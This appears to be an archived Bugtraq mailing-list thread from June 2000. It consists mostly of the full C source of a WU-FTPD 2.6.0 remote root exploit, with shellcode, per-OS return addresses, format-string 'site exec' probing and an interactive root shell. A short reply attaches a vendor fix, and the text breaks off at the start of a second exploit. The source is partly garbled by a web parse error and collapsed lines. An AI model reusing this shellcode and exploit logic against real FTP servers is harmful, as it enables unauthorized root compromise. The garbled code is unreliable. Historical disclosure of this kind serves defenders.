5222752 2000-06-23  02:30  /657 rader/ Postmaster
Mottagare: Bugtraq (import) <11391>
Ärende: WuFTPD: Providing *remote* root since at least1994
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
Message-ID:  <200006222006.AAA11400@zolo.freelsd.net>
Date:         Fri, 23 Jun 2000 00:06:18 +0400
Reply-To: tf8 <tf8@ZOLO.FREELSD.NET>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: tf8 <tf8@ZOLO.FREELSD.NET>
To: BUGTRAQ@SECURITYFOCUS.COM

/* - wuftpd2600.c
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 *
 *  WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
 *   by tf8
 *
 * *NOTE*:  For ethical reasons, only an exploit for 2.6.0 will be
 *     released (2.6.0 is the most popular version nowadays), and it
 *     should suffice to proof this vulnerability concept.
 *
 *   Site exec was never really *fixed*
 *
 *   Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
 *    \x90, venglin, xz, MYT and lamagra.
 *   Also greetings go to the WU-FTPD development team for including this
 *    bug in ALL their versions.
 *
 *   Fuck to wuuru (he is an idiot)
 *
 *   Account is not required, anonymous access is enough :)
 *
 *   BTW, exploit is broken to avoid kids usage ;)
 *
 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>

#ifdef __linux
#include <getopt.h>
#endif

#define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
#define GREEN "\033[32m"
#define RED "\033[31m"
#define NORM "\033[0m"

char infin_loop[]= /* for testing purposes */
 "\xEB\xFE";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
 "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
 "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
 "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
 "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
 "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"
 "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
 "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
 "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
 "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
 "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
 "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30"
 "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
 "\x67\x6c\x69\x6e";

char bsd_code_d[]= /* you should call it directly (no jump/call)*/
 "\xEB\xFE\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5C"
 "\x8B\x74\x24\xFC\x31\xC9\xB1\x15\x01\xCE\xB1\x71\xB0\xEF"
 "\x30\x06\x8D\x76\x01\xE2\xF9\xDE\x26\xDE\x2F\xBE\x5F\xF8"
 "\xBF\x22\x6F\x5F\xB5\xEB\xB4\xBE\xBF\x22\x6F\x62\xB9\x14"
 "\x87\x75\xED\xEF\xEF\xBD\x5F\x67\xBF\x22\x6F\x62\xB9\x11"
 "\xBE\xBD\x5F\xEA\xBF\x22\x6F\x66\x2C\x62\xB9\x14\xBD\x5F"
 "\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9"
 "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11"
 "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9"
 "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86"
 "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF";

char linuxcode[]= /* Lam3rZ chroot() code */
 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
 "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
 "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
 "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
 "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
 "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
 "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
 "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
 "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
 "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";

#define MAX_FAILED      4
#define MAX_MAGIC       100
static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
static char *magic_str=NULL;
int before_len=0;
char *target=NULL,*username="ftp",*password=NULL;
struct targets getit;

struct targets {
	int def;
	char *os_descr, *shellcode;
	int delay;
	u_long pass_addr, addr_ret_addr;
	int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
};

struct targets targ[]={
	{0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
	{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
	{0,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
	{0,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
	{0,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},

	{0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
	{1,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
	{0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
	{0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
	{0,NULL,NULL,0,0,0,{0},{0},0}
};

void usage(char*zu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
"         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target    : host with any wuftpd\nuser      : anonymous user\n"
"dir       : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g        : enables magic string digging\n"
"-x        : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr  : this is pointer to shellcode\nsystypes: \n",zu);
 for(i=0;targ[i].os_descr!=NULL;i++){
  padding=0;
  fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
  if(q>1){
   fprintf(stderr,"     Magic ID: [");
   for(n=0;targ[i].magic[n]!=0;n++){
    if(targ[i].magic_d[n]==4)
     padding=targ[i].magic[n];
    fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
    if(targ[i].magic[n+1]!=0)
     fprintf(stderr,":");
   }
   fprintf(stderr,"] Padding: %d\n",padding);
   fflush(stderr);
  }
 }
 exit(1);
}

int connect_to_server(char*host){
 struct hostent *hp;
 struct sockaddr_in cl;
 int sock;	
	
 if(host==NULL||*host==(char)0){
  fprintf(stderr,"Invalid hostname\n");
  exit(1);
 }
 if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
  if((hp=gethostbyname(host))==NULL) {
   fprintf(stderr,"Cannot resolve %s\n",host);
   exit(1);
  }
  memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
 }
 if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
  exit(1);
 }
 cl.sin_family=PF_INET;
 cl.sin_port=htons(21);
 if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
  fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
  exit(1);
 }
 return sock;
}

int ftp_recv(int sock,char*buf,int buf_size,int disc){
 int n=0;
 char q;
	
 if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
 else {
  (void)bzero(buf,buf_size);
  n=recv(sock,buf,buf_size,0);
  if(n<0){
   fprintf(stderr,"ftp_recv: recv failed\n");
   exit(1);
  }
  buf[n]=0;
 }
 return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
 int n;
 n=send(sock,what,size,0);
 if(n!=size){
  fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
  shutdown(sock,2);
  close(sock);
  exit(1);
 }
 if(f)
  return ftp_recv(sock,ans,ans_size,0);
 return 0;
}

int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
 ftp_send(sock,buff,buff_len,q,ans,ans_len);
 if(strncmp(ans,"200-",4)==0)
   ftp_recv(sock,NULL,0,1);
 else
  ftp_recv(sock,ans,ans_len,0);
	
 if(strncmp(ans,"200-",4)){
  fprintf(stderr,"Cannot find site exec response string\n");
  exit(1);
 }
 return 0;
}

void ftp_login(int sock,char*u_name,char*u_pass)
{
 char buff[2048];
  printf("loggin into system..\n");
  snprintf(buff,2047,"USER %s\r\n", u_name);
  ftp_send(sock, buff,strlen(buff),1,buff,2047);
  printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
  snprintf(buff,2047,"PASS %s\r\n",u_pass);
  printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  while(strstr(buff,"230 ")==NULL){
   (void)bzero(buff,2048);
   ftp_recv(sock,buff,2048,0);
  }
  printf("%s",buff);
  return;
}

void ftp_mkchdir(int sock,char*cd,char*new)
{
 char buff[2048];

 sprintf(buff,"CWD %s\r\n",cd);
 printf(GREEN"%s"NORM,buff);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf("%s",buff);
 sprintf(buff,"MKD %s\r\n",new);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
 sprintf(buff,"CWD %s\r\n",new);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
 return;
}
void process_possibly_rooted(int sock)
{
 fd_set 	fd_read;
 char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;exit\n":"/usr/bin/uname -a;/usr/bin/id;exit\n";
 int n;

 FD_ZERO(&fd_read);
 FD_SET(sock, &fd_read);
 FD_SET(0, &fd_read);
 send(sock, cmd, strlen(cmd), 0);
 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);
  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
  if( FD_ISSET(sock, &fd_read) ) {
   if((n=recv(sock,buff,sizeof(buff),0))<0){
     fprintf(stderr, "EOF\n");
     exit(2);
   }
   if(write(1,buff,n)<0)break;
  }
  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<0){	
      fprintf(stderr,"EOF\n");
      exit(2);
    }
    if(send(sock,buff,n,0)<0) break;
  }
  usleep(10);	
 }
 fprintf(stderr,"Connection aborted, select failed()\n");
 exit(0);
}

int magic_check_f(int sock, char *str) {
 char q[2048], ans[2048];

 snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
 if( strstr( q, "\r\n") == NULL) {
  fprintf(stderr,"Line TOO big..\n");
  exit(-1);
 }
 ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
 if( before_len+10 < strlen(&ans[3]) ) return 0;
 before_len=strlen(&ans[3]);
 (void)strcat(str,"%.f");
 return 1;
}
int magic_check_o(int sock, char *str) {
 char q[2048], ans[2048];
  snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
  if( strstr( q, "\r\n") == NULL) {
   fprintf(stderr,"Line TOO big..\n");
   exit(-1);
  }
 ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
 if( before_len== strlen(&ans[3]) ) {
  before_len+=1;
  (void)strcat(str, "%d");
  return 3;
 }
 before_len=strlen(&ans[3]);
 (void)strcat(str,"%c");
 return 2;
}

int magic_check_ok( int sock, char *str)
{
 char q[2048], ans[2048];
 int i ,n=1, f, padding=0;
	
 snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
 if ( strstr(q, "\r\n" ) == NULL) {
  fprintf(stderr, "Line too long\n");
  exit(-1);
 }
 (void)bzero(ans, 2048);
 ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
 if(strstr(ans,"0x61616161")==NULL)
   return 0;
 for(i =0; i < MAX_MAGIC && magic[i]; i++);
 magic_d[i]=4;
 while(n){
  for(f=0; f< 2; f++) {
   snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
   (void)bzero(ans, 2048);
   ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
   if( strstr(ans, "0x61616161")!=NULL) {
    if (f==0) {
     magic[i]=padding;
     return 1;
    } else if( f==1) {
     strcat(str,"%p");
     magic[i]=padding;
     return 1;
    }
   }
  }
  if(padding > 4) {
   fprintf(stderr,"Cannot calculate padding..\n");
   exit(1);
  }
  padding++;		
 }
 return 1;
}


int magic_digger(int sock)
{
 int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
	
 if(magic_str==NULL){
  if((magic_str=(char*)malloc(4092))==NULL){
   perror("malloc");
   exit(errno);
  }
 }
 (void)bzero(magic_str, 4092);
 where=0;
 while(get_out) {
  int q;
  if( where >= MAX_MAGIC-1 || all_failed <= 0 )
    return -1;
  if( magic_check_f(sock, magic_str) ) {
   o=0,f++;
    if(f==1){
     if(!magic[where])
      magic[where]=1;
     else
      magic[++where]+=1;
    magic_d[where]=1;
    } else
     magic[where]+=1;
   all_failed=MAX_FAILED*2;
   printf("%s", "%.f"); fflush(stdout);
   goto verify;
  }
  all_failed--;
  if((q=magic_check_o(sock,magic_str))){
   f=0,o++;
    if(o==1){
     if(!magic[where])
      magic[0]=1;
     else
      magic[++where]+=1;
    magic_d[where]=q;
   } else {
    if(magic_d[where]==q)
     magic[where]+=1;
    else {
     magic[++where]=1;
     magic_d[where]=q;
    }
   }
   all_failed=MAX_FAILED*2;
   printf("%s", q==2?"%c":"%d");
   fflush(stdout);
   goto verify;
  }
  all_failed--;
  continue;
  verify:
  if(magic_check_ok(sock,magic_str)){
   putchar('\n');
   return 0;
  }
 }
 return 0;
}

int main(int argc, char *argv[]){
	char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
	int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
	u_long ret_addr=0, pass_addr=0;
	for(i=0;targ[i].os_descr!=NULL;i++);
	while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
	switch(c) {
	 case 't': target=optarg;break;
	 case 'l':
	   username=optarg;
	   passwd=strchr(optarg,'/');
	   if(passwd==NULL)
	    usage(argv[0],0);
	   *passwd++=(char)0;
	   break;
	 case 'x': testmode=1; break;
	 case 'o': offset=atoi(optarg);break;
	 case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
	 case 'g': gm=1; break;
	 case 'M': dir=optarg;mtype=1;break;
	 case 'm':
	   {
	    int where=0;
	    if(!*optarg) {
	      fprintf(stderr,"-m requires argument, try -h for help\n");
	      exit(1);
	    }
	    while(1) {
	      magic[where]=strtoul(optarg,&optarg,16);
	      optarg=strchr(optarg,',');
	      if(optarg==NULL){
	        printf("comma missing\n");
		exit(1);
	      }
	      optarg++;
	      magic_d[where++]=strtoul(optarg,&optarg,16);
	      if(strchr(optarg,':')==NULL){
	       magic[where]=magic_d[where]=0;
	       break;
	      }
	      optarg=strchr(optarg,':');
	      optarg++;
	    }
	   }
	   break;
	  case 's':/*
	    num=atoi(optarg);
	    if(num>i) {
	     fprintf(stderr,"systype too big, try -h for help\n");
	     exit(1);
	    } :) */
	    break;
	  case 'r':
	    ret_addr=strtoul(optarg,&optarg,16);
	    break;
	  case 'P':
	    padding=atoi(optarg);
	    break;
	  case 'H':
	     bla=2;
	  default: usage(argv[0],bla);break;
	 }
        }
	if(target==NULL){
	  fprintf(stderr,"No target specified, try -h for help\n");
	  exit(1);
	}
	if(num==-1||num==-2) {
	  for(i=0;!targ[i].def;i++);
	  num=i;
	}
	(void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));

	if(magic[1]!=0) {
	 memcpy((void*)getit.magic,magic,sizeof(magic));
	 memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
	}

	if(ret_addr)getit.addr_ret_addr=ret_addr;
	if(pass_addr)getit.pass_addr=pass_addr;

	getit.addr_ret_addr+=(offset*4);

 	sock=connect_to_server(target);
	memset(shellcode, '\x90', sizeof(shellcode));
	shellcode[sizeof(shellcode)-1]=(char)0;
	if(!mtype){
	 memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
	 shellcode[sizeof(shellcode)-1]=(char)0;
	}else{
	 memcpy((void*)
RXML parse error: Unknown scope "shellcode[250-strlen(getit".
 | &shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
shellcode[250-1]=(char)0; } printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr); printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode)); buff=(char *)malloc(1024); bzero(buff,1024); (void)ftp_recv(sock,NULL,0,1); (void)ftp_login(sock,username,passwd); if(gm||(magic_str==NULL&&getit.magic[0]==0)){ printf("STEP 2A: Generating magic string: "); fflush(stdout); magic_digger(sock); memcpy((void *)getit.magic,(void*)magic,sizeof(magic)); memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d)); printf("STEP 2B: MAGIC STRING: ["); } else { printf("STEP 2 : Skipping, magic number already exists: ["); } for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){ printf("%02X,%02X",getit.magic[i],getit.magic_d[i]); if(getit.magic[i+1]!=0) putchar(':'); } printf("]\n"); buff=(char *)realloc(buff, 4092); (void)bzero(buff, 4092); if(mtype) ftp_mkchdir(sock,dir,shellcode); printf("STEP 3 : Checking if we can reach our return address by format string\n"); if(!magic_str){ magic_str=(char*)malloc(2048); if(magic_str==NULL) { perror("malloc"); exit(errno); } (void)bzero(magic_str,2048); for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){ switch(getit.magic_d[i]) { case 1: for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f"); break; case 2: for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c"); break; case 3: for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d"); break; case 4:if(padding<0)padding=getit.magic[i];break; default:fprintf(stderr,"STEP 3: INternal error\n"); exit(1); break; } } } if(padding<0){ for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++); if(num<(MAX_MAGIC-1)) padding=getit.magic[num]; else fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n"); } if(!getit.islinux){ if(!testmode) snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p"); else snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p"); } else { if(!testmode) snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,"%p"); else snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,"%p"); } sleep(getit.delay); fflush(stdout); if((buff_p=(char *)malloc(4096))==NULL){ fprintf(stderr,"malloc failed.\n"); exit(1); } (void)bzero(buff_p,4096); ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095); if((buff_p2=strchr(buff_p,'\r'))!=NULL) *buff_p2=(char)0; if((buff_p2=strchr(buff_p,'\n'))!=NULL) *buff_p2=(char)0; buff_p2=strstr(buff_p,"|0x"); if(buff_p2==NULL){ fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p); exit(1); } buff_p2+=3; if(!testmode) printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr); else printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr); sleep(getit.delay); buff_p2=strstr(buff, "%.f"); *buff_p2++=(char )0; strcpy(buff_p, buff); if(!testmode) sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d'); else sprintf(buff_p+strlen(buff_p),"%s","%d%d"); strcpy(buff_p+strlen(buff_p), buff_p2); buff_p2=strchr(buff_p,'|'); buff_p2++; printf("STEP 5 : Sending code.. this will take about 10 seconds.\n"); if(!testmode){ strcpy(buff_p2,"%n\r\n"); ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0); } else { (void)bzero(buff,4096); strcpy(buff_p2,"%s\r\n"); ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092); printf("got answer: %s\n",buff); exit(0); } free(buff_p); free(buff); signal(SIGINT, SIG_IGN); signal(SIGHUP, SIG_IGN); printf(RED"Press ^\\ to leave shell"NORM"\n"); process_possibly_rooted(sock); return 0; } (5222752) ------------------------------------------ 5224107 2000-06-23 22:02 /67 rader/ Postmaster Mottagare: Bugtraq (import) <11396> Ärende: Re: WuFTPD: Providing *remote* root since at least1994 ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="279710978-786788563-961719611=:25605" Message-ID: <Pine.LNX.4.21.0006230217250.25605-200000@bochum.redhat.de> Date: Fri, 23 Jun 2000 02:20:11 +0200 Reply-To: Bernhard Rosenkraenzer <bero@REDHAT.DE> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Bernhard Rosenkraenzer <bero@REDHAT.DE> X-To: Elias Levy <aleph1@securityfocus.com> X-cc: wuftpd-members@wu-ftpd.org, vendor-sec@lst.de To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <20000622154402.G11033@securityfocus.com> This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --279710978-786788563-961719611=:25605 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 22 Jun 2000, Elias Levy wrote: > /* - wuftpd2600.c > * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 This should fix it... Since the exploit never worked for me in the first time and I haven't taken the time to fix it yet (fixing the bug is more important than fixing the exploit, I guess ;) ), it's unverified though. LLaP bero --279710978-786788563-961719611=:25605 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="wu-ftpd-2.6.0-security.patch" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.4.21.0006230220110.25605@bochum.redhat.de> Content-Description: fix Content-Disposition: attachment; filename="wu-ftpd-2.6.0-security.patch" LS0tIHd1LWZ0cGQtMi42LjAvc3JjL2Z0cGNtZC55LnNlY3VyaXR5CUZyaSBK dW4gMjMgMDE6NDk6NDUgMjAwMA0KKysrIHd1LWZ0cGQtMi42LjAvc3JjL2Z0 cGNtZC55CUZyaSBKdW4gMjMgMDE6NTI6MzcgMjAwMA0KQEAgLTc3Niw3ICs3 NzYsNyBAQA0KIAkgICAgaWYgKCFyZXN0cmljdGVkX3VzZXIgJiYgJDIgIT0g MCAmJiAkNiAhPSBOVUxMKSB7DQogCQljaGFyIGJ1ZltNQVhQQVRITEVOXTsN CiAJCWlmIChzdHJsZW4oJDYpICsgNyA8PSBzaXplb2YoYnVmKSkgew0KLQkJ ICAgIHNwcmludGYoYnVmLCAiaW5kZXggJXMiLCAoY2hhciAqKSAkNik7DQor CQkgICAgc25wcmludGYoYnVmLCBNQVhQQVRITEVOLCAiaW5kZXggJXMiLCAo Y2hhciAqKSAkNik7DQogCQkgICAgKHZvaWQpIHNpdGVfZXhlYyhidWYpOw0K IAkJfQ0KIAkgICAgfQ0KQEAgLTE4NzEsNiArMTg3MSwxMCBAQA0KICAgICBj aGFyICpzcCA9IChjaGFyICopIHN0cmNocihjbWQsICcgJyksICpzbGFzaCwg KnQ7DQogICAgIEZJTEUgKmNtZGY7DQogDQorICAgIGlmKHN0cmxlbihjbWQp K3N0cmxlbihfUEFUSF9FWEVDUEFUSCkrMSA+IE1BWFBBVEhMRU4pIHsNCisg ICAgICAgIHN5c2xvZyhMT0dfQ1JJVCwgIlVzZXIgcHJvYmFibHkgdHJpZWQg U0lURSBFWEVDIHJvb3QgZXhwbG9pdCwgcmVmdXNpbmchIik7DQorICAgICAg ICByZXR1cm47DQorICAgIH0NCiANCiAgICAgLyogc2FuaXRpemUgdGhlIGNv bW1hbmQtc3RyaW5nICovDQogDQpAQCAtMTg5Myw3ICsxODk3LDcgQEANCiAg ICAgLyogYnVpbGQgdGhlIGNvbW1hbmQgKi8NCiAgICAgaWYgKHN0cmxlbihf UEFUSF9FWEVDUEFUSCkgKyBzdHJsZW4oY21kKSArIDIgPiBzaXplb2YoYnVm KSkNCiAJcmV0dXJuOw0KLSAgICBzcHJpbnRmKGJ1ZiwgIiVzLyVzIiwgX1BB VEhfRVhFQ1BBVEgsIGNtZCk7DQorICAgIHNucHJpbnRmKGJ1ZiwgTUFYUEFU SExFTiwgIiVzLyVzIiwgX1BBVEhfRVhFQ1BBVEgsIGNtZCk7DQogDQogICAg IGNtZGYgPSBmdHBkX3BvcGVuKGJ1ZiwgInIiLCAwKTsNCiAgICAgaWYgKCFj bWRmKSB7DQo= --279710978-786788563-961719611=:25605-- (5224107) ------------------------------------------(Ombruten) 5224157 2000-06-23 22:22 /517 rader/ Postmaster Mottagare: Bugtraq (import) <11397> Ärende: WUFTPD 2.6.0 remote root exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-ID: <20000623031414.A86799@lubi.freebsd.lublin.pl> Date: Fri, 23 Jun 2000 03:14:15 +0200 Reply-To: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL> X-cc: submissions@packetstorm.securify.com To: BUGTRAQ@SECURITYFOCUS.COM /* * (c) 2000 venglin / b0f * http://b0f.freebsd.lublin.pl * * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT * * Idea and preliminary version of exploit by tf8 * * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio. * Dedicated to ksm. * * **PRIVATE**DO*NOT*DISTRIBUTE** */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h> #define repln if (getreply(0) < 0) return -1 #define replv if (getreply(1) < 0) return -1 #ifdef 